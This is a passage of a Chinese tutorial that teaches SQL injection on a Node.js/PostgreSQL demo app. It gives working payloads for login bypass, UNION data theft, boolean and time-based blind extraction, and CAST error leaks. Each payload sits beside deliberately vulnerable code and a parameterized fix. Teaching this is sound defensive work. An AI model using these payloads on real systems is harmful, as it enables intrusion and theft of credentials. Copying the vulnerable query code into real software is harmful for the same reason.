文章目录
-
- [一、什么是 SQL 注入?](#一、什么是 SQL 注入?)
-
- [1.1 定义](#1.1 定义)
- [1.2 一句话理解](#1.2 一句话理解)
- [1.3 为什么会产生?](#1.3 为什么会产生?)
- [1.4 举个最简单的例子](#1.4 举个最简单的例子)
- [1.5 SQL 注入的危害](#1.5 SQL 注入的危害)
- 二、项目概览
-
- [2.1 项目结构](#2.1 项目结构)
- [2.2 技术栈](#2.2 技术栈)
- [2.3 数据库表结构](#2.3 数据库表结构)
- [2.4 测试数据](#2.4 测试数据)
- [三、演示一:登录绕过(Login Bypass)](#三、演示一:登录绕过(Login Bypass))
-
- [3.1 漏洞原理](#3.1 漏洞原理)
- [3.2 攻击方法](#3.2 攻击方法)
-
- [攻击载荷 1:用注释符绕过密码](#攻击载荷 1:用注释符绕过密码)
- [攻击载荷 2:永真条件 OR 1=1](#攻击载荷 2:永真条件 OR 1=1)
- [攻击载荷 3:闭合两端引号](#攻击载荷 3:闭合两端引号)
- [3.3 漏洞代码分析](#3.3 漏洞代码分析)
- [3.4 防御代码分析](#3.4 防御代码分析)
- [3.5 对比总结](#3.5 对比总结)
- [四、演示二:UNION 查询注入](#四、演示二:UNION 查询注入)
-
- [4.1 漏洞原理](#4.1 漏洞原理)
- [4.2 攻击方法](#4.2 攻击方法)
-
- [攻击载荷 1:确定列数](#攻击载荷 1:确定列数)
- [攻击载荷 2:窃取用户名和密码](#攻击载荷 2:窃取用户名和密码)
- [攻击载荷 3:窃取管理员日志](#攻击载荷 3:窃取管理员日志)
- [4.3 漏洞代码分析](#4.3 漏洞代码分析)
- [4.4 防御代码分析](#4.4 防御代码分析)
- [4.5 对比总结](#4.5 对比总结)
- [五、演示三:布尔盲注(Boolean-Based Blind)](#五、演示三:布尔盲注(Boolean-Based Blind))
-
- [5.1 漏洞原理](#5.1 漏洞原理)
- [5.2 攻击方法](#5.2 攻击方法)
-
- [攻击载荷 1:猜解密码长度](#攻击载荷 1:猜解密码长度)
- [攻击载荷 2:逐字符猜解密码](#攻击载荷 2:逐字符猜解密码)
- [攻击载荷 3:猜解数据库版本](#攻击载荷 3:猜解数据库版本)
- [5.3 漏洞代码分析](#5.3 漏洞代码分析)
- [5.4 防御代码分析](#5.4 防御代码分析)
- [5.5 对比总结](#5.5 对比总结)
- [六、演示四:延时注入(Time-Based Blind Injection)](#六、演示四:延时注入(Time-Based Blind Injection))
-
- [6.1 漏洞原理](#6.1 漏洞原理)
- [6.2 攻击方法](#6.2 攻击方法)
-
- 场景:利用用户存在检查接口
- [攻击载荷 1:测试延时是否可用](#攻击载荷 1:测试延时是否可用)
- [攻击载荷 2:猜解密码长度](#攻击载荷 2:猜解密码长度)
- [攻击载荷 3:逐字符猜解密码](#攻击载荷 3:逐字符猜解密码)
- [完整猜解流程(演示 admin 密码 "admin123")](#完整猜解流程(演示 admin 密码 "admin123"))
- [6.3 漏洞代码分析](#6.3 漏洞代码分析)
- [6.4 防御代码分析](#6.4 防御代码分析)
- [6.5 对比总结](#6.5 对比总结)
- [七、演示五:报错注入(Error-Based Injection)](#七、演示五:报错注入(Error-Based Injection))
-
- [7.1 漏洞原理](#7.1 漏洞原理)
- [7.2 攻击方法](#7.2 攻击方法)
-
- [步骤 1:正常查询](#步骤 1:正常查询)
- [步骤 2:注入 CAST 报错(泄露密码)](#步骤 2:注入 CAST 报错(泄露密码))
- [攻击载荷 2:泄露其他用户的密码](#攻击载荷 2:泄露其他用户的密码)
- [攻击载荷 3:泄露邮箱](#攻击载荷 3:泄露邮箱)
- [攻击载荷 4:泄露数据库版本](#攻击载荷 4:泄露数据库版本)
- [7.3 漏洞代码分析](#7.3 漏洞代码分析)
- [7.4 防御代码分析](#7.4 防御代码分析)
- [7.5 对比总结](#7.5 对比总结)
- [八、演示六:堆叠查询注入(Stacked Queries)](#八、演示六:堆叠查询注入(Stacked Queries))
-
- [8.1 漏洞原理](#8.1 漏洞原理)
- [8.2 攻击方法](#8.2 攻击方法)
-
- 场景:更新个人简介
- [攻击载荷 1:删除其他用户](#攻击载荷 1:删除其他用户)
- [攻击载荷 2:修改管理员密码](#攻击载荷 2:修改管理员密码)
- [攻击载荷 3:创建新的管理员账户](#攻击载荷 3:创建新的管理员账户)
- [8.3 漏洞代码分析](#8.3 漏洞代码分析)
- [8.4 防御代码分析](#8.4 防御代码分析)
- [8.5 对比总结](#8.5 对比总结)
- [九、演示七:二次注入(Second-Order Injection)](#九、演示七:二次注入(Second-Order Injection))
-
- [9.1 漏洞原理](#9.1 漏洞原理)
- [9.2 攻击方法](#9.2 攻击方法)
- [9.3 漏洞代码分析](#9.3 漏洞代码分析)
- [9.4 防御代码分析](#9.4 防御代码分析)
- [9.5 对比总结](#9.5 对比总结)
- 十、核心防御:参数化查询
-
- [10.1 什么是参数化查询?](#10.1 什么是参数化查询?)
- [10.2 参数化查询的工作原理](#10.2 参数化查询的工作原理)
- [10.3 在 PostgreSQL (pg 驱动) 中的写法](#10.3 在 PostgreSQL (pg 驱动) 中的写法)
- [10.4 为什么参数化查询能防止 SQL 注入?](#10.4 为什么参数化查询能防止 SQL 注入?)
- [10.5 参数化查询不能防御的情况](#10.5 参数化查询不能防御的情况)
- 十一、安全最佳实践
-
- [11.1 防御体系总结](#11.1 防御体系总结)
- [11.2 代码层面的最佳实践](#11.2 代码层面的最佳实践)
- [11.3 不要依赖的"防御"手段](#11.3 不要依赖的"防御"手段)
- 十二、总结
-
- [12.1 七种 SQL 注入对比](#12.1 七种 SQL 注入对比)
- [12.2 核心要点](#12.2 核心要点)
- [12.3 学习路径建议](#12.3 学习路径建议)
基于 Node.js + PostgreSQL 的 SQL 注入漏洞演示平台,面向初学者的交互式学习教程。
完整漏洞演示源码:https://gitcode.com/lcreek/Security
一、什么是 SQL 注入?
1.1 定义
SQL 注入(SQL Injection) 是一种代码注入技术,攻击者通过在应用程序的输入字段中插入恶意 SQL 语句,来操纵后端数据库执行非预期的操作。
1.2 一句话理解
程序把用户输入当作 SQL 代码执行了,而不是当作普通数据来处理。
1.3 为什么会产生?
当一个应用程序的开发者使用字符串拼接的方式构建 SQL 查询语句时,用户的输入内容会直接成为 SQL 语句的一部分。如果用户输入了精心构造的特殊字符(如单引号、分号、SQL 关键字等),就可能改变原始 SQL 语句的语义。
1.4 举个最简单的例子
假设后端代码是这样的:
javascript
const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
如果用户输入:
- 用户名:
admin'-- - 密码:
任意值
实际执行的 SQL 变为:
sql
SELECT * FROM users WHERE username='admin'--' AND password='任意值'
-- 是 SQL 的注释符,后面的 AND password=... 全部被注释掉了。查询变成了只要 username='admin' 就返回结果,完全绕过了密码验证。
1.5 SQL 注入的危害
| 危害类型 | 具体表现 |
|---|---|
| 数据泄露 | 窃取用户密码、邮箱、手机号等敏感信息 |
| 身份冒用 | 绕过登录验证,以管理员身份登录 |
| 数据篡改 | 修改数据库中的记录(如修改价格、余额) |
| 数据删除 | 删除数据库表或整个数据库 |
| 权限提升 | 创建新的管理员账户 |
| 服务器沦陷 | 在某些配置下,甚至可能执行操作系统命令 |
二、项目概览
2.1 项目结构
SQLInjectionDemos/
├── server.js # 服务器主入口(Express + 路由 + API)
├── package.json # 项目依赖配置
├── db/
│ ├── pool.js # PostgreSQL 连接池配置
│ └── init.sql # 数据库初始化脚本(建表 + 测试数据)
└── public/
├── index.html # 首页导航
├── style.css # 全局样式表
├── login.html # 演示1:登录绕过
├── union.html # 演示2:UNION 注入
├── boolean-blind.html # 演示3:布尔盲注
├── time-blind.html # 演示4:延时注入
├── error-based.html # 演示5:报错注入
├── stacked.html # 演示6:堆叠注入
└── second-order.html # 演示7:二次注入
2.2 技术栈
| 技术 | 用途 |
|---|---|
| Node.js | 运行时环境 |
| Express | Web 框架,处理 HTTP 请求和路由 |
| PostgreSQL | 关系型数据库 |
| pg (node-postgres) | Node.js 的 PostgreSQL 驱动 |
| HTML/CSS/JavaScript | 前端页面和交互 |
2.3 数据库表结构
项目使用 4 张表来演示不同的 SQL 注入场景:
sql
-- 用户表:用于登录绕过、布尔盲注、报错注入、堆叠注入、二次注入
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username VARCHAR(50) NOT NULL UNIQUE,
password VARCHAR(100) NOT NULL,
email VARCHAR(100),
role VARCHAR(20) DEFAULT 'user'
);
-- 商品表:用于 UNION 注入
CREATE TABLE products (
id SERIAL PRIMARY KEY,
name VARCHAR(100) NOT NULL,
description TEXT,
price DECIMAL(10,2)
);
-- 用户资料表:用于二次注入、堆叠注入
CREATE TABLE profiles (
id SERIAL PRIMARY KEY,
username VARCHAR(50) NOT NULL,
bio TEXT
);
-- 管理员日志表:用于敏感数据泄露演示
CREATE TABLE admin_logs (
id SERIAL PRIMARY KEY,
action VARCHAR(200),
created_at TIMESTAMP DEFAULT NOW()
);
2.4 测试数据
sql
-- 5 个用户:1 个管理员 + 4 个普通用户
INSERT INTO users (username, password, email, role) VALUES
('admin', 'admin123', 'admin@demo.com', 'admin'),
('alice', 'pass123', 'alice@demo.com', 'user'),
('bob', 'secret456', 'bob@demo.com', 'user'),
('charlie', 'p@ssw0rd!', 'charlie@demo.com', 'user'),
('david', 'david2024', 'david@demo.com', 'user');
-- 8 个商品
INSERT INTO products (name, description, price) VALUES
('笔记本电脑', '15寸轻薄本,16GB内存', 5999.00),
('无线鼠标', '静音设计,蓝牙5.0', 129.00),
('机械键盘', '青轴,全键无冲', 349.00),
-- ... 更多商品
三、演示一:登录绕过(Login Bypass)
3.1 漏洞原理
难度等级:初级
这是最经典、最易理解的 SQL 注入类型。在用户登录时,后端程序需要用用户名和密码去数据库查询匹配的记录。如果开发者使用字符串拼接来构建这条 SQL 查询,攻击者就可以通过精心构造的输入来绕过密码验证。
正常的登录 SQL:
sql
SELECT * FROM users WHERE username='admin' AND password='admin123'
这条 SQL 的语义是:找一个用户名是 admin 且 密码是 admin123 的用户。
3.2 攻击方法
攻击载荷 1:用注释符绕过密码
输入:
- 用户名:
admin'-- - 密码:
任意值
实际执行的 SQL:
sql
SELECT * FROM users WHERE username='admin'--' AND password='任意值'
原理解析:
-- 是 SQL 中的单行注释符(# 也可以)。当 admin' 闭合了前面的单引号后,-- 将后面的 AND password=... 全部注释掉了。数据库实际执行的逻辑等价于:
sql
-- 原始:username='admin' AND password='admin123'
-- 注入后:username='admin' AND password='admin123' ← 被注释掉了
-- 实际执行:username='admin'
查询变成了只要 username='admin' 就返回结果,完全绕过了密码验证。
攻击载荷 2:永真条件 OR 1=1
输入:
- 用户名:
' OR 1=1-- - 密码:
任意值
实际执行的 SQL:
sql
SELECT * FROM users WHERE username='' OR 1=1--' AND password='任意值'
原理解析:
1=1 永远为真。OR 操作符的特性是:只要两个条件中有一个为真,整个表达式就为真。所以 username='' OR 1=1 永远是 TRUE,数据库会返回 所有用户 的第一条记录(通常是管理员)。
攻击载荷 3:闭合两端引号
输入:
- 用户名:
' OR '1'='1 - 密码:
' OR '1'='1
实际执行的 SQL:
sql
SELECT * FROM users WHERE username='' OR '1'='1' AND password='' OR '1'='1'
利用 '1'='1' 这个永真条件,无论是在用户名还是密码处注入,都能让 WHERE 子句始终为真。
3.3 漏洞代码分析
javascript
// ===== 漏洞版本 =====
app.post("/api/login/vulnerable", async (req, res) => {
const { username, password } = req.body;
// 【漏洞核心】使用模板字符串直接拼接用户输入到 SQL 中
// ${username} 和 ${password} 的内容会原样拼入 SQL,不经过任何过滤
const sql = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
try {
const result = await pool.query(sql);
if (result.rows.length > 0) {
res.json({ success: true, message: `登录成功!`, user: result.rows[0] });
} else {
res.json({ success: false, message: "用户名或密码错误" });
}
} catch (err) {
res.json({ success: false, message: `SQL 执行错误: ${err.message}` });
}
});
问题出在哪里? 第 6 行,${username} 和 ${password} 直接嵌入到 SQL 字符串中。用户输入的任何字符------包括单引号、SQL 关键字、注释符------都会成为 SQL 语句的一部分。
3.4 防御代码分析
javascript
// ===== 安全版本 =====
app.post("/api/login/safe", async (req, res) => {
const { username, password } = req.body;
// 【安全核心】使用 $1, $2 占位符,SQL 结构与数据分离
const sql = "SELECT * FROM users WHERE username=$1 AND password=$2";
try {
// 将参数数组作为第二个参数传入 pool.query()
// pg 驱动负责将 username 替换 $1,password 替换 $2,并安全转义
const result = await pool.query(sql, [username, password]);
if (result.rows.length > 0) {
res.json({ success: true, message: `登录成功!` });
} else {
res.json({ success: false, message: "用户名或密码错误" });
}
} catch (err) {
res.json({ success: false, message: `服务器错误` });
}
});
为什么安全?
- SQL 结构与数据分离 :SQL 语句的骨架(
SELECT ... WHERE username=$1 AND password=$2)是固定的,$1和$2只是占位符。 - 参数单独传递 :
[username, password]作为参数数组传入,pg 驱动会将其中的内容安全转义后再填充到占位符位置。 - 攻击者输入失效 :如果攻击者输入
admin'--,它会被当作一个完整的用户名字符串admin'--(带单引号的)去匹配,而不是作为 SQL 语法的一部分。数据库会查找用户名为admin'--的用户,自然找不到。
3.5 对比总结
| 对比维度 | 漏洞版本 | 安全版本 |
|---|---|---|
| SQL 构建方式 | 模板字符串拼接 | 参数化查询($1 占位符) |
| 用户输入角色 | 既是数据,也是 SQL 代码 | 纯粹是数据 |
攻击 admin'-- 效果 |
绕过密码,登录成功 | 查找用户名 admin'--,登录失败 |
| 安全性 | 不安全 | 安全 |
四、演示二:UNION 查询注入
4.1 漏洞原理
难度等级:中级
UNION 是 SQL 中的集合操作符,它可以将多个 SELECT 语句的结果合并为一个结果集。UNION 注入的核心思路是:攻击者在正常查询的后面追加一个 UNION SELECT,将恶意查询的结果合并到正常结果中,从而窃取其他表的数据。
前提条件(两个关键):
- 列数要匹配 :
UNION前后两个SELECT语句的列数必须相同。 - 数据类型要兼容:对应列的数据类型必须兼容(或可隐式转换)。
原始查询:
sql
SELECT id, name, price FROM products WHERE name LIKE '%鼠标%'
返回 3 列:id(整数)、name(字符串)、price(小数)。
4.2 攻击方法
攻击载荷 1:确定列数
攻击者首先需要确定原始查询返回几列,通常使用 ORDER BY 试探:
关键字:' ORDER BY 1--
关键字:' ORDER BY 2--
关键字:' ORDER BY 3--
关键字:' ORDER BY 4-- ← 报错!说明只有 3 列
攻击载荷 2:窃取用户名和密码
关键字:' UNION SELECT id, username, password FROM users--
实际执行的 SQL:
sql
SELECT id, name, price FROM products WHERE name LIKE '%' UNION SELECT id, username, password FROM users--%'
结果: 商品列表和用户数据(id、username、password)合并在一起返回,攻击者拿到了所有用户的密码!
攻击载荷 3:窃取管理员日志
关键字:' UNION SELECT id, action, created_at::text FROM admin_logs--
注意 ::text 类型转换 :admin_logs 表的 created_at 是 TIMESTAMP 类型,与原始查询的 price(DECIMAL)类型不兼容,需要用 ::text 转换为字符串。
4.3 漏洞代码分析
javascript
// ===== 漏洞版本 =====
app.get("/api/products/vulnerable", async (req, res) => {
const { keyword } = req.query;
// 【漏洞核心】% 通配符和 keyword 都拼在 SQL 字符串中
// 攻击者可以通过闭合 ' 和 % 来注入自己的 SQL
const sql = `SELECT id, name, price FROM products WHERE name LIKE '%${keyword || ""}%'`;
try {
const result = await pool.query(sql);
res.json({
success: true,
data: result.rows,
executedSql: sql, // 返回实际执行的 SQL,帮助理解注入过程
});
} catch (err) {
res.json({
success: false,
message: `SQL 执行错误: ${err.message}`,
executedSql: sql,
});
}
});
问题分析:
第 6 行,'%${keyword}%' 的结构意味着:
- 正常搜索
鼠标时,SQL 为... LIKE '%鼠标%',正常工作。 - 攻击者输入
' UNION SELECT ...--时,SQL 变为... LIKE '%' UNION SELECT ...--%','闭合了前面的%,--注释掉了后面的%',UNION 注入成功!
4.4 防御代码分析
javascript
// ===== 安全版本 =====
app.get("/api/products/safe", async (req, res) => {
const { keyword } = req.query;
const sql = "SELECT id, name, price FROM products WHERE name LIKE $1";
try {
// 将 %keyword% 作为参数值传入,keyword 的内容被安全转义
// 攻击者输入的任何内容都会被当作搜索关键词字符串,而不是 SQL 语法
const result = await pool.query(sql, [`%${keyword || ""}%`]);
res.json({ success: true, data: result.rows });
} catch (err) {
res.json({ success: false, message: `服务器错误` });
}
});
为什么安全?
$1 占位符接收的是 %keyword% 这个整体字符串,keyword 的内容被 pg 驱动安全转义。攻击者输入 ' UNION SELECT ... 时,它会被当作一个普通搜索词 %' UNION SELECT ...% 在 name 字段中模糊匹配,显然找不到任何匹配的商品。
4.5 对比总结
| 对比维度 | 漏洞版本 | 安全版本 |
|---|---|---|
| SQL 构建方式 | 字符串拼接 | 参数化查询($1 占位符) |
攻击 ' UNION SELECT ... 效果 |
窃取用户表数据 | 搜索无结果,注入失败 |
| 返回的 SQL 信息 | 返回实际执行的 SQL(教学目的) | 不返回 SQL |
| 安全性 | 不安全 | 安全 |
五、演示三:布尔盲注(Boolean-Based Blind)
5.1 漏洞原理
难度等级:中级
盲注(Blind Injection) 发生在页面不直接返回数据库内容,但会根据查询结果呈现不同状态的场景。攻击者无法直接看到数据,但可以通过观察"两种不同响应"来推断信息。
核心思路:
将"数据是否等于某个字符"这个信息,转化为"用户存在" vs "用户不存在"两种响应,然后逐字符猜解。
场景: 一个用户名检查功能,只返回"用户存在"或"用户不存在"。攻击者可以通过构造条件判断语句,将敏感数据逐字符地"盲猜"出来。
5.2 攻击方法
攻击载荷 1:猜解密码长度
用户名:admin' AND LENGTH(password) > 5--
逻辑: 如果 admin 的密码长度 > 5,返回"用户存在";否则返回"用户不存在"。通过不断调整数字,可以确定密码长度。
攻击载荷 2:逐字符猜解密码
用户名:admin' AND SUBSTRING(password, 1, 1)='a'--
用户名:admin' AND SUBSTRING(password, 1, 1)='b'--
...
用户名:admin' AND SUBSTRING(password, 1, 1)='z'--
逻辑: 假设密码长度是 8:
- 第一步:遍历
a-z和0-9,猜密码第 1 个字符。当SUBSTRING(password,1,1)='a'时返回"用户存在",说明密码首字符是a。 - 第二步:猜第 2 个字符,
SUBSTRING(password,2,1)='d'返回"用户存在",说明是d。 - 以此类推,逐字符猜出密码
admin123。
所需请求数: 假设密码长度 8,字符集 36(a-z + 0-9),最坏情况 8 × 36 = 288 次请求即可猜出密码。实际攻击中通常使用自动化脚本。
攻击载荷 3:猜解数据库版本
用户名:admin' AND SUBSTRING(version(), 1, 3)='Pos'--
如果返回"用户存在",说明数据库是 PostgreSQL(version() 返回 PostgreSQL x.x.x)。
5.3 漏洞代码分析
javascript
// ===== 漏洞版本 =====
app.get("/api/user/exists/vulnerable", async (req, res) => {
const { username } = req.query;
// 【漏洞核心】直接将用户输入拼接到 WHERE 子句
const sql = `SELECT * FROM users WHERE username='${username || ""}'`;
try {
const result = await pool.query(sql);
if (result.rows.length > 0) {
res.json({ exists: true, message: "用户存在" }); // True 状态
} else {
res.json({ exists: false, message: "用户不存在" }); // False 状态
}
} catch (err) {
res.json({ exists: false, message: "查询出错" });
}
});
为什么这会形成盲注?
- 页面只返回两种状态:
用户存在(True)和用户不存在(False)。 - 攻击者注入条件判断语句(如
AND SUBSTRING(...)='a'),将"数据是否等于某字符"转化为"用户是否存在"。 - 正常情况下,
admin' AND SUBSTRING(password,1,1)='a'这种查询,如果密码首字符是a,admin用户存在且条件为真 → 返回"用户存在";如果密码首字符不是a,条件为假 → 返回"用户不存在"。
5.4 防御代码分析
javascript
// ===== 安全版本 =====
app.get("/api/user/exists/safe", async (req, res) => {
const { username } = req.query;
try {
// 使用 $1 占位符,整个 username 输入作为字符串参数
// 攻击者输入 ' AND SUBSTRING(...) 会被当作一个完整的用户名字符串来匹配
const result = await pool.query("SELECT * FROM users WHERE username=$1", [
username || "",
]);
res.json({ exists: result.rows.length > 0 });
} catch (err) {
res.json({ exists: false, message: "查询出错" });
}
});
为什么安全?
参数化查询将 admin' AND SUBSTRING(password,1,1)='a' 当作一个完整的用户名字符串来匹配。数据库会查找用户名恰好等于这个奇怪字符串的用户,显然找不到,返回"用户不存在"。SUBSTRING() 函数不会被当作 SQL 代码执行。
5.5 对比总结
| 对比维度 | 漏洞版本 | 安全版本 |
|---|---|---|
| 攻击方式 | 利用"存在/不存在"两种状态逐字符猜解 | 无法注入,注入语句被当作用户名匹配 |
攻击 admin' AND SUBSTRING(...) |
返回"存在"或"不存在",泄露信息 | 查找该字符串用户,返回"不存在" |
| 所需请求数 | 约 288 次可猜出 8 位密码 | 注入无效 |
| 安全性 | 不安全 | 安全 |
六、演示四:延时注入(Time-Based Blind Injection)
6.1 漏洞原理
难度等级:中高级
延时注入(时间盲注) 是盲注的一种高级变体。当页面不返回任何数据差异(只有一种响应),布尔盲注无法使用时,攻击者可以注入延时函数 ,通过测量服务器响应时间来判断条件真假。
核心思路:
页面虽然看起来一样,但如果条件为真,服务器会"多等几秒"再响应。
与布尔盲注的对比:
| 对比维度 | 布尔盲注 | 延时注入 |
|---|---|---|
| 判断依据 | 页面显示"存在" vs "不存在" | 响应时间快 vs 慢 |
| 适用场景 | 页面有两种不同响应 | 页面只有一种响应(如统一返回"操作成功") |
| 速度 | 快 | 极慢(每次判断需要等待数秒) |
| 隐蔽性 | 中等 | 高(响应内容完全一致) |
| 数据库函数 | 不需要特殊函数 | 需要延时函数(如 PG_SLEEP) |
PostgreSQL 的延时函数:
sql
SELECT PG_SLEEP(3); -- 数据库休眠 3 秒
攻击者如何利用:
- 注入
AND (条件判断 + PG_SLEEP) - 条件为真 → 数据库休眠 N 秒 → 响应延迟 N 秒
- 条件为假 → 数据库不休眠 → 响应即时返回
- 通过测量响应时间来判断条件真假
6.2 攻击方法
场景:利用用户存在检查接口
原始查询:
sql
SELECT * FROM users WHERE username='admin'
页面只返回"操作完成"(一种响应),没有"存在/不存在"的差异。
攻击载荷 1:测试延时是否可用
用户名:admin' AND (SELECT 1 FROM (SELECT PG_SLEEP(3)) AS t)=1--
实际执行的 SQL:
sql
SELECT * FROM users WHERE username='admin' AND (SELECT 1 FROM (SELECT PG_SLEEP(3)) AS t)=1--'
判断: 如果响应延迟了约 3 秒 → 存在延时注入!
原理:
PG_SLEEP(3)让数据库休眠 3 秒。攻击者测量 HTTP 请求的往返时间,与正常响应时间对比,如果明显增加就确认注入存在。
攻击载荷 2:猜解密码长度
用户名:admin' AND (SELECT CASE WHEN (LENGTH(password)>5) THEN PG_SLEEP(2) ELSE 0 END)=0--
实际执行的 SQL:
sql
SELECT * FROM users WHERE username='admin' AND (SELECT CASE WHEN (LENGTH(password)>5) THEN PG_SLEEP(2) ELSE 0 END)=0--'
解析:
sql
CASE WHEN (LENGTH(password)>5) -- 判断 admin 的密码长度是否大于 5
THEN PG_SLEEP(2) -- 条件为真:休眠 2 秒
ELSE 0 -- 条件为假:不休眠
END
- 响应延迟 2 秒 → admin 密码长度 > 5
- 响应即时返回 → admin 密码长度 ≤ 5
通过二分法调整数字,可以精确确定密码长度为 8。
攻击载荷 3:逐字符猜解密码
用户名:admin' AND (SELECT CASE WHEN (SUBSTRING(password,1,1)='a') THEN PG_SLEEP(2) ELSE 0 END)=0--
解析:
sql
CASE WHEN (SUBSTRING(password,1,1)='a') -- 判断密码第 1 个字符是否为 'a'
THEN PG_SLEEP(2) -- 是 'a':休眠 2 秒
ELSE 0 -- 不是 'a':不休眠
END
- 响应延迟 2 秒 → 密码首字符是
a - 响应即时返回 → 密码首字符不是
a,换下一个字符继续猜
完整猜解流程(演示 admin 密码 "admin123")
| 步骤 | Payload(简化) | 响应时间 | 结论 |
|---|---|---|---|
| 1 | SUBSTRING(password,1,1)='a' |
~2.1s | 首字符是 a |
| 2 | SUBSTRING(password,2,1)='d' |
~2.1s | 第2字符是 d |
| 3 | SUBSTRING(password,3,1)='m' |
~2.1s | 第3字符是 m |
| 4 | SUBSTRING(password,4,1)='i' |
~2.1s | 第4字符是 i |
| 5 | SUBSTRING(password,5,1)='n' |
~2.1s | 第5字符是 n |
| ... | ... | ... | ... |
| 8 | SUBSTRING(password,8,1)='3' |
~2.1s | 第8字符是 3 |
结果: 密码 = admin123,8 个字符全部猜出。
所需请求数估算:
- 密码长度 8,字符集 36(a-z + 0-9)
- 最坏情况:8 × 36 = 288 次请求
- 每个请求等待 2 秒,总耗时约 288 × 2 = 576 秒(约 10 分钟)
⚠️ 注意: 延时注入是所有注入技术中最慢 的,但也是最难防御的------因为响应内容完全一致,WAF 很难通过内容检测来判断是否存在攻击。
6.3 漏洞代码分析
延时注入可以在任何存在注入点的接口上实施。这里以用户存在检查接口为例:
javascript
// ===== 漏洞版本 =====
app.get("/api/user/exists/time-blind/vulnerable", async (req, res) => {
const { username } = req.query;
// 【漏洞核心】直接将用户输入拼接到 WHERE 子句
const sql = `SELECT * FROM users WHERE username='${username || ""}'`;
try {
await pool.query(sql);
// 注意:即使这里统一返回 "操作完成" 而不区分"存在/不存在"
// 攻击者仍可以通过 PG_SLEEP() 延时函数来判断条件真假
res.json({ status: "ok" });
} catch (err) {
res.json({ status: "ok" }); // 错误也不返回详情
}
});
为什么统一响应仍然挡不住延时注入?
攻击者注入 PG_SLEEP():
请求 A:admin' AND (PG_SLEEP(2) IS NOT NULL)--
→ 数据库休眠 2 秒 → 响应时间 ≈ 2000ms
请求 B:不存在的用户' AND (PG_SLEEP(2) IS NOT NULL)--
→ 数据库不休眠(因为 WHERE 不匹配,不会执行 PG_SLEEP)
→ 响应时间 ≈ 50ms
攻击者通过响应时间差异判断:
- 2 秒响应 → 用户 "admin" 存在
- 50ms 响应 → 用户不存在
关键洞察: 即使页面内容完全一样,时间本身就是信息通道!
6.4 防御代码分析
javascript
// ===== 安全版本 =====
app.get("/api/user/exists/time-blind/safe", async (req, res) => {
const { username } = req.query;
try {
// 参数化查询:PG_SLEEP 等函数不会被当作 SQL 代码执行
const result = await pool.query("SELECT * FROM users WHERE username=$1", [
username || "",
]);
res.json({ status: "ok" });
} catch (err) {
res.json({ status: "ok" });
}
});
为什么安全?
参数化查询将整个输入作为字符串值处理。攻击者输入 admin' AND PG_SLEEP(3)-- 时,数据库会查找用户名等于这个完整字符串的用户,PG_SLEEP() 不会被执行。
额外的防御措施:
| 措施 | 说明 |
|---|---|
| 请求频率限制 | 限制同一 IP 的请求频率,增加攻击时间成本 |
| 查询超时设置 | 设置 SQL 查询超时(如 5 秒),防止长时间休眠 |
| 参数化查询 | 根本解决方案,阻止任何 SQL 函数注入 |
| 响应时间随机化 | 在响应中加入随机延迟(如 10-100ms),干扰时间测量 |
6.5 对比总结
| 对比维度 | 漏洞版本 | 安全版本 |
|---|---|---|
| 攻击方式 | 注入 PG_SLEEP() 通过响应时间推断数据 |
无法注入,注入语句被当作用户名匹配 |
| 隐蔽性 | 极高(响应内容完全一致) | 无漏洞 |
| 攻击速度 | 极慢(每个字符需数秒) | 注入无效 |
| 检测难度 | 高(WAF 难以通过内容检测) | 无需检测 |
| 安全性 | 不安全 | 安全 |
七、演示五:报错注入(Error-Based Injection)
7.1 漏洞原理
难度等级:中级
报错注入 利用数据库在执行错误 SQL 时返回的错误消息 来获取数据。当程序将 SQL 错误信息直接展示给用户时,攻击者可以构造特意会报错的 SQL 语句,在错误消息中嵌入敏感数据。
核心思路:
攻击者故意让数据库报错------但错误消息不是副作用,错误消息本身就是攻击者想要的数据载体!
为什么报错注入能工作?
报错注入需要同时满足两个条件:
| 条件 | 说明 | 本项目如何满足 |
|---|---|---|
| 存在注入点 | 用户输入能改变 SQL 语义 | id 直接拼接到 SQL:WHERE id=${id} |
| 错误消息回显 | 服务器将数据库错误返回给客户端 | catch 块返回 err.message |
CAST 函数的工作原理:
PostgreSQL 的 CAST(值 AS 目标类型) 函数尝试将值转换为目标类型。如果转换失败,PostgreSQL 会抛出错误,错误消息中包含原始值:
sql
-- 正常:将字符串 '123' 转为整数
SELECT CAST('123' AS INTEGER);
-- 结果:123
-- 报错:无法将 'admin123' 转为整数!
SELECT CAST('admin123' AS INTEGER);
-- 错误:invalid input syntax for type integer: "admin123"
-- ^^^^^^^^^^
-- 原始值在错误消息中!
攻击者的思路:
- 把敏感数据(如密码)放到
CAST()函数中 - 数据库尝试类型转换 → 必然失败
- 错误消息中直接包含了密码明文
7.2 攻击方法
步骤 1:正常查询
用户ID:1
实际执行的 SQL:
sql
SELECT username FROM users WHERE id=1
结果: 返回 admin 用户,一切正常。
步骤 2:注入 CAST 报错(泄露密码)
用户ID:1 AND CAST((SELECT password FROM users WHERE id=1) AS INTEGER)=1
逐字符解析 Payload:
1 AND CAST((SELECT password FROM users WHERE id=1) AS INTEGER)=1
│ │ │ │ │ │
│ │ │ └── 子查询:获取 id=1 用户的 password = "admin123"
│ │ └── CAST(...AS INTEGER):尝试将子查询结果转为整数
│ └── =1:与整数比较,使 AND 获得布尔参数(PostgreSQL 要求 AND 的参数必须是布尔类型)
└── 正常参数
注入点分析:
- 代码模板:WHERE id=${id || 1}
- id 参数没有用引号包裹(数字型注入)
- 不需要闭合引号,直接追加 SQL 逻辑即可
实际执行的 SQL:
sql
SELECT username FROM users WHERE id=1 AND CAST((SELECT password FROM users WHERE id=1) AS INTEGER)=1
执行流程:
1. id=1 → 找到 id 为 1 的用户(admin)
2. (SELECT password FROM users WHERE id=1) → 子查询返回 "admin123"
3. CAST('admin123' AS INTEGER)=1 → 类型转换失败!
4. PostgreSQL 抛出错误:invalid input syntax for type integer: "admin123"
5. catch 块捕获错误,返回给客户端
返回的错误消息:
json
{
"success": false,
"message": "SQL 执行错误: invalid input syntax for type integer: \"admin123\""
}
密码 admin123 直接在错误消息中泄露了!
攻击载荷 2:泄露其他用户的密码
用户ID:1 AND CAST((SELECT password FROM users WHERE id=2) AS INTEGER)=1
错误消息: invalid input syntax for type integer: "pass123" ← alice 的密码
攻击载荷 3:泄露邮箱
用户ID:1 AND CAST((SELECT email FROM users WHERE id=1) AS INTEGER)=1
错误消息: invalid input syntax for type integer: "admin@demo.com" ← admin 的邮箱
